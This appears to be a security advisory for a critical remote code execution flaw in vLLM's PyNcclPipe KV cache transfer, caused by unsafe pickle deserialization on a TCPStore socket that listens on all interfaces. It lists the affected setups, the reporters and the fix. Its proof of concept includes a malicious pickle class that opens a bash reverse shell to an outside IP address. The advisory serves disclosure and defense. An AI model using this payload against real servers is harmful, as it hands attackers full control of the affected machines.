PT-2026-53636 · Pypi · Vllm

Published 2026-06-29 · Updated 2026-06-29

OSV

CVSS v3.1

9.8

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary

vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send obj and recv obj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details

The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:

from vllm.distributed.kv transfer.kv pipe.pynccl pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
  kv ip="0.0.0.0",
  kv port=18888,
  kv rank=0,
  kv parallel size=1,
  kv buffer size=1024,
  kv buffer device="cpu"
)

p=PyNcclPipe(config=config,local rank=0)
 p.recv tensor() # Receive data

2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:

from vllm.distributed.utils import StatelessProcessGroup

class Evil:
  def  reduce (self):
    import os
    cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
    return (os.system,(cmd,))

client = StatelessProcessGroup.create(
  host='172.17.0.1',
  port=18888,
  rank=1,
  world size=2,
)

 client.send obj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kv transfer.kv pipe.pynccl pipe.PyNcclPipe. recv impl
	 -> vllm.distributed.kv transfer.kv pipe.pynccl pipe.PyNcclPipe. recv metadata
	 	-> vllm.distributed.utils.StatelessProcessGroup.recv obj
			-> pickle.loads 

Getshell as follows:

Reporters

This issue was reported independently by three different parties:

• @kikayli (Zhuque Lab, Tencent)
• @omjeki
• Russell Bryant (@russellb)

Fix

• https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.

Fix

Related Identifiers

PYSEC-2026-567

Affected Products

Vllm

References · 9

• https://osv.dev/vulnerability/PYSEC-2026-567 · Vendor Advisory
• https://nvd.nist.gov/vuln/detail/CVE-2025-47277 · Security Note
• https://github.com/vllm-project/vllm · Note
• https://github.com/vllm-project/vllm/pull/15988 · Note
• https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7 · Note
• https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv · Note
• https://github.com/advisories/GHSA-hjq4-87xh-g4fv · Note
• https://docs.vllm.ai/en/latest/deployment/security.html · Note
• https://pypi.org/project/vllm · Note